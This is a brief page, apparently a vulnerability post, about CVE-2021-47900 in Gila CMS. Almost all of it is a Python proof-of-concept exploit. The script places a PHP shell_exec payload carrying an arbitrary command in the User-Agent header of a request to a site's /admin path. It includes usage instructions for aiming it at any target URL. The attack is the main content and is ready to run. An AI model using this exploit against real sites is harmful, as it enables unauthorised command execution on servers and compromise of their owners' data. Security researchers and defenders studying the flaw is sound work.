CVE-2021-47900 Gila CMS 远程代码执行漏洞

import requests import sys # CVE-2021-47900 PoC - Gila CMS Remote Code Execution # Target: Gila CMS < 2.0.0 # Attack Vector: User-Agent HTTP Header Injection def exploit(target_url, cmd): """ Exploit CVE-2021-47900 by injecting PHP code in User-Agent header """ # Construct malicious payload with shell_exec payload = f"<?php shell_exec('{cmd}'); ?>" headers = { 'User-Agent': payload } try: # Target the admin endpoint target = f"{target_url}/admin" response = requests.get(target, headers=headers, timeout=10) print(f"[*] Request sent to: {target}") print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://target.com 'id'") sys.exit(1) target_url = sys.argv[1].rstrip('/') command = sys.argv[2] result = exploit(target_url, command) if result: print("\n[+] Response received")